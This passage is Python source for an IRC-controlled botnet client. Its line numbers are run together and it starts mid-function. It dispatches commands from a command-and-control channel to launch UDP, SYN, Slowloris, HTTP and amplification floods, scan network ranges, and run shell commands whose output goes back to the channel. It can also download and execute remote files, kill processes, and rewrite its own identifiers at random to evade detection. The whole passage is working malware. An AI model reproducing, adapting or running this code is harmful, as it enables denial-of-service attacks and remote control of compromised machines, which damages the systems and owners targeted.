(self.C2_CHAN,self.C2_CHAN_KEY))805IS_IN_SECRET_CHAN = 1806807elif(self.IRC_RECV_MSG[1]=="433"):808self.BOT_NICK="[N3Cr0m0rPh]"+str(self.randStr)809self.IRC_SOCK.send("NICK %s\n" % self.BOT_NICK)810try:811812if self.IRC_RECV_MSG[3]==":ddos.udpflood":813self.IRC_SOCK.send("PRIVMSG %s :Started UDP flood on %s:%s\n" % (self.C2_CHAN,self.IRC_RECV_MSG[4],self.IRC_RECV_MSG[5]))814threading.Thread(target=self.Do_UDP_Flood,args=(self.IRC_RECV_MSG[4],int(self.IRC_RECV_MSG[5]),int(self.IRC_RECV_MSG[6]),)).start()815816elif self.IRC_RECV_MSG[3]==":ddos.synflood":817self.IRC_SOCK.send("PRIVMSG %s :Started SYN flood on %s:%s with %s threads\n" % (self.C2_CHAN,self.IRC_RECV_MSG[4],self.IRC_RECV_MSG[5],self.IRC_RECV_MSG[7]))818for i in range(0, int(self.IRC_RECV_MSG[7])):819threading.Thread(target=self.Do_SYN_Flood,args=(self.IRC_RECV_MSG[4],int(self.IRC_RECV_MSG[5]),int(self.IRC_RECV_MSG[6],))).start()820821elif self.IRC_RECV_MSG[3]==":ddos.slowloris":822self.IRC_SOCK.send("PRIVMSG %s :Started Slowloris on %s with %s sockets\n" % (self.C2_CHAN,self.IRC_RECV_MSG[4],self.IRC_RECV_MSG[5]))823threading.Thread(target=self.Do_Slowloris_Flood,args=(self.IRC_RECV_MSG[4],int(self.IRC_RECV_MSG[5]),int(self.IRC_RECV_MSG[6],))).start()824825elif self.IRC_RECV_MSG[3]==":ddos.httpflood":826self.IRC_SOCK.send("PRIVMSG %s :Started HTTP flood on URL: %s with %s threads\n" % (self.C2_CHAN,self.IRC_RECV_MSG[4],self.IRC_RECV_MSG[7]))827for i in range(0, int(self.IRC_RECV_MSG[7])):828threading.Thread(target=self.Do_HTTP_Flood,args=(self.IRC_RECV_MSG[4],int(self.IRC_RECV_MSG[5]),self.IRC_RECV_MSG[6],)).start()829830elif self.IRC_RECV_MSG[3]==":ddos.loadamp":831self.IRC_SOCK.send("PRIVMSG %s :Downloading %s list from %s\n" % (self.C2_CHAN,self.IRC_RECV_MSG[4],self.IRC_RECV_MSG[5]))832urllib.urlretrieve(self.IRC_RECV_MSG[5], "."+self.IRC_RECV_MSG[4])833834elif self.IRC_RECV_MSG[3]==":ddos.amp":835try:836837if not os.path.exists("."+self.IRC_RECV_MSG[4]):838self.IRC_SOCK.send("PRIVMSG %s :Please load this type of amp list first.\n" % (self.C2_CHAN))839continue840domains="netflix.com,youtube.com,facebook.com,google.com,yahoo.com".split(",")841842proto = self.IRC_RECV_MSG[4]843if self.IRC_RECV_MSG[4] == "dns":844try:845domains = self.IRC_RECV_MSG[8].split(",")846except:847pass848files[self.IRC_RECV_MSG[4]] = ["."+self.IRC_RECV_MSG[4]]849850self.IRC_SOCK.send("PRIVMSG %s :Started %s amp flood on %s\n" % (self.C2_CHAN,self.IRC_RECV_MSG[4],self.IRC_RECV_MSG[5]))851self.DDoS(socket.gethostbyname(self.IRC_RECV_MSG[5]), int(self.IRC_RECV_MSG[6]), domains, int(self.IRC_RECV_MSG[7]))852853except Exception as e:854print(str(e))855856elif self.IRC_RECV_MSG[3]==":bot.scannetrange":857threading.Thread(target=self.RANGE_SCAN,args=(self.IRC_RECV_MSG[4],self.IRC_RECV_MSG[5],self.IRC_RECV_MSG[6],)).start()858859elif self.IRC_RECV_MSG[3]==":bot.shell":860try:861N3CTR0_SHELL = subprocess.Popen(self.IRC_RECV_MSG[4:],stdout=subprocess.PIPE)862for response in iter(N3CTR0_SHELL.stdout.readline,''):863self.IRC_SOCK.send("PRIVMSG %s :%s\n" % (self.C2_CHAN,response))864except:865self.IRC_SOCK.send("PRIVMSG %s :Failed to execute command.\n" % self.C2_CHAN)866elif self.IRC_RECV_MSG[3]==":bot.repack":867self.REWRITE_SELF()868self.IRC_SOCK.send("PRIVMSG %s :Repacked code!\n" % (self.C2_CHAN))869870elif self.IRC_RECV_MSG[3]==":http.download":871try:872urllib.urlretrieve(self.IRC_RECV_MSG[4],self.IRC_RECV_MSG[5])873self.IRC_SOCK.send("PRIVMSG %s :Downloaded.\n" % (self.C2_CHAN))874except:875self.IRC_SOCK.send("PRIVMSG %s :Could not download!\n" % (self.C2_CHAN))876877elif self.IRC_RECV_MSG[3]==":http.execute":878try:879urllib.urlretrieve(self.IRC_RECV_MSG[4],self.IRC_RECV_MSG[5])880if not platform.System.startswith("Windows"):881try:882os.chmod(self.IRC_RECV_MSG[5], 0777)883except:884pass885subprocess.Popen([("%s" % self.IRC_RECV_MSG[5])])886self.IRC_SOCK.send("PRIVMSG %s :Downloaded and executed.\n" % (self.C2_CHAN))887except:888self.IRC_SOCK.send("PRIVMSG %s :Could not download or execute!\n" % (self.C2_CHAN))889890elif self.IRC_RECV_MSG[3]==":bot.reset":891self.INSTALL_FEATURES()892893elif self.IRC_RECV_MSG[3]==":bot.move":894self.C2_SERVER=self.IRC_RECV_MSG[4] #Server895self.C2_CHAN=self.IRC_RECV_MSG[5] #Channel896self.C2_CHAN_KEY=self.IRC_RECV_MSG[6] #Channel key897898while 1:899try:900self.INSTALL_FEATURES()901except:902pass903904elif self.IRC_RECV_MSG[3]==":bot.killbyname":905os.popen("pkill -f %s" % self.IRC_RECV_MSG[4])906self.IRC_SOCK.send("PRIVMSG %s :Killed.\n" % (self.C2_CHAN))907908elif self.IRC_RECV_MSG[3]==":bot.killbypid":909os.kill(int(self.IRC_RECV_MSG[4]),9)910self.IRC_SOCK.send("PRIVMSG %s :Killed.\n" % (self.C2_CHAN))911912elif self.IRC_RECV_MSG[3]==":threads.end":913self.KILL_THREADS=1914915elif self.IRC_RECV_MSG[3]==":threads.begin":916self.KILL_THREADS=0917918elif self.IRC_RECV_MSG[3]==":sniff.start":919pause=0920921elif self.IRC_RECV_MSG[3]==":sniff.pause":922pause=1923924elif self.IRC_RECV_MSG[3]==":bot.getip":925self.IRC_SOCK.send("PRIVMSG %s :%s\n" % (self.C2_CHAN,urllib2.urlopen("https://api.ipify.org").read()))926927elif self.IRC_RECV_MSG[3]==":bot.ram":928meminfo = dict((i.split()[0].rstrip(':'),int(i.split()[1])) for i in open('/proc/meminfo').readlines())929mem_kib = meminfo['MemTotal'] # e.g. 3921852930self.IRC_SOCK.send("PRIVMSG %s :%s MB RAM total.\n" % (self.C2_CHAN, mem_kib / 1024))931932elif self.IRC_RECV_MSG[3]==":bot.killmyeyepeeusinghoic":933os.kill(os.getpid(),9)934935except IndexError or TypeError:936pass937938def REWRITE_SELF(self):939SELF_FILE=open(argv[0],"r")940SELF_LINES=SELF_FILE.read()941SELF_FILE.close()942943POLY_STRINGS=['rantDwWe','GIVE_RAND_STR','GIVE_RAND_STR','INIT_CONNECTION','INIT_IRC_CONNECTION','C2_PORT','Do_Slowloris_Flood','GET_ABSOLUTE_PATH','INSTALL_FEATURES','MBPS_SENT','MB_SENT','Do_UDP_Flood','BOT_REALNAME','C2_SERVER','OMpLRZVt','randStr','C2_CHAN','SENT','BOT_NICK','POLY_STRINGS','POLY_STRING','SELF_FILE','SELF_FILE_FINISHED','WxbKsWDa','REWRITE_SELF','Do_SYN_Flood','UDP_SOCK','IRC_SOCK','ATTACK_END','TARGET_PORT','ATTACK_END','ATTACK_TIME','TARGET_IP','IRC_SOCK_RECV_SPLIT','C2_CHAN_KEY','SELF_LINES','IRC_SOCK_RECV','MbEjgUOl','RECURSIVE_URL','len','eiaAnsBP','UDP_DATA','YZZEVzDy','OPEN_URL','url','sZSansOC','iKdvMuag','dodepTmF','QwAdOdJR','ncBrnXua','GxVCceRN','qRtXeNct','FocihdJO','TARGET','Do_HTTP_Flood','RANGE_SCAN','RANGE','OlxRQoIE','IRC_RECV_MSG','N3CTR0_SHELL','response','_','qSPBJJom','kwXLnXMT','KBrVuXmb','RyoybtRY','fNMASlgn','OQEPVvYq','WGpaXGEC','FvHHzlJu','MiwRFOVd','dLgrNjvV','RyoybtRY','HrkOVUQn', 'OmgjPABz', 'IS_IN_SECRET_CHAN', 'GET_HEADER', 'PuaorNVt', 'HEADER','sock', 'KgaiiMDa']944for POLY_STRING in POLY_STRINGS:945SELF_LINES=SELF_LINES.replace(POLY_STRING,self.GIVE_RAND_STR(8))946947SELF_FILE_FINISHED=open(argv[0],"w")948SELF_FILE_FINISHED.write(SELF_LINES)949SELF_FILE_FINISHED.close()950951if __name__=="__main__":952pid_file = 'SDKOEF'953fp = open(pid_file, 'w')954try:955fcntl.lockf(fp, fcntl.LOCK_EX | fcntl.LOCK_NB)956while 1:957try:958INIT_CONNECTION()959except Exception as e:960print(str(e))961time.sleep(45)962except IOError:963exit(1)964965